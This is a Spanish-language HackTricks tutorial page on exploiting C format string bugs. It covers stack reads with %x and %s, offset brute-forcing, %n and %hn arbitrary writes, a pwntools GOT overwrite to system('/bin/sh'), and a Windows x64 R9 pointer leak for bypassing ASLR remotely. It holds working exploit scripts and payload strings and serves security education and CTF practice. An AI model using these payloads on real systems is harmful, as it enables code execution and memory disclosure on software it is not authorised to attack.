# Format Strings {{#include ../../banners/hacktricks-training.md}} ## Información básica En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que espera esta función es el **texto crudo con los especificadores de formato**. Los **parámetros siguientes** que se esperan son los **valores** para **sustituir** los **especificadores de formato** del texto crudo. Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**. La vulnerabilidad aparece cuando un **texto del atacante se usa como primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo podrá **ejecutar código arbitrario**. #### Especificadores: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %p —> Pointer %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **Ejemplos:** - Ejemplo vulnerable: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - Uso normal: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - Con argumentos faltantes: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - fprintf vulnerable: ```c #include int main(int argc, char *argv[]) { char *user_input; user_input = argv[1]; FILE *output_file = fopen("output.txt", "w"); fprintf(output_file, user_input); // The user input can include formatters! fclose(output_file); return 0; } ``` ### **Accediendo a punteros** El formato **`%$x`**, donde `n` es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer: ```c printf("%x %x %x %x") ``` y leerías desde el primer hasta el cuarto parámetro. O podrías hacer: ```c printf("%4$x") ``` y leer directamente el cuarto. Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su entrada estará en la stack cuando se llame a `printf`, por lo que podría escribir direcciones de memoria específicas en la stack. > [!CAUTION] > Un atacante que controle esta entrada podrá **añadir direcciones arbitrarias en la stack y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento. ## **Arbitrary Read** Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla y **imprimirla como si fuera una cadena** (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con: ```python from pwn import * p = process('./bin') payload = b'%6$s' #4th param payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] > Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección. ### Encontrar el offset Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak from pwn import * # Iterate over a range of integers for i in range(10): # Construct a payload that includes the current integer as offset payload = f"AAAA%{i}$x".encode() # Start a new process of the "chall" binary p = process("./chall") # Send the payload to the process p.sendline(payload) # Read and store the output of the process output = p.clean() # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output if b"41414141" in output: # If the string is found, log the success message and break out of the loop log.success(f"User input is at offset : {i}") break # Close the process p.close() ```
### Qué tan útil Arbitrary reads pueden ser útiles para: - **Dump** the **binary** de la memoria - **Access specific parts of memory where sensitive** **info** se almacena (como canaries, encryption keys o custom passwords como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** El formateador **`%$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro `` en la pila. Si un atacante puede escribir tantos caracteres como quiera con `printf`, podrá hacer que **`%$n`** escriba un número arbitrario en una dirección arbitraria. Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de golpe), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos. Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).** En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la **GOT** que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la función **`system`**.\ Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa **`$hn`**. - **HOB** denomina a los 2 bytes más altos de la dirección - **LOB** denomina a los 2 bytes más bajos de la dirección Luego, por cómo funciona format string debes **escribir primero el menor** de \[HOB, LOB] y luego el otro. Si HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Si HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` ### Plantilla de Pwntools Puede encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en: {{#ref}} format-strings-template.md {{#endref}} O este ejemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * elf = context.binary = ELF('./got_overwrite-32') libc = elf.libc libc.address = 0xf7dc2000 # ASLR disabled p = process() payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) p.sendline(payload) p.clean() p.sendline('/bin/sh') p.interactive() ``` ## Format Strings to BOF Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR. Practical workflow: - Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado. - Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como `leak - known_offset`. - Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota. Ejemplo (python abreviado): ```python from pwn import remote # Send an input that the vulnerable code will pass as the "format" fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 io = remote(HOST, 4141) # ... drive protocol to reach the vulnerable snprintf ... leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Notas: - El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version). - Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack. - Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita. Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure. ## Otros Ejemplos & Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak la flag desde el stack (no es necesario alterar el flujo de ejecución) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (de modo que el flujo vuelva a ejecutarse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelva a main, `strlen` se ejecutará con input del usuario y apuntando a `system`, ejecutará los comandos pasados. ## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}}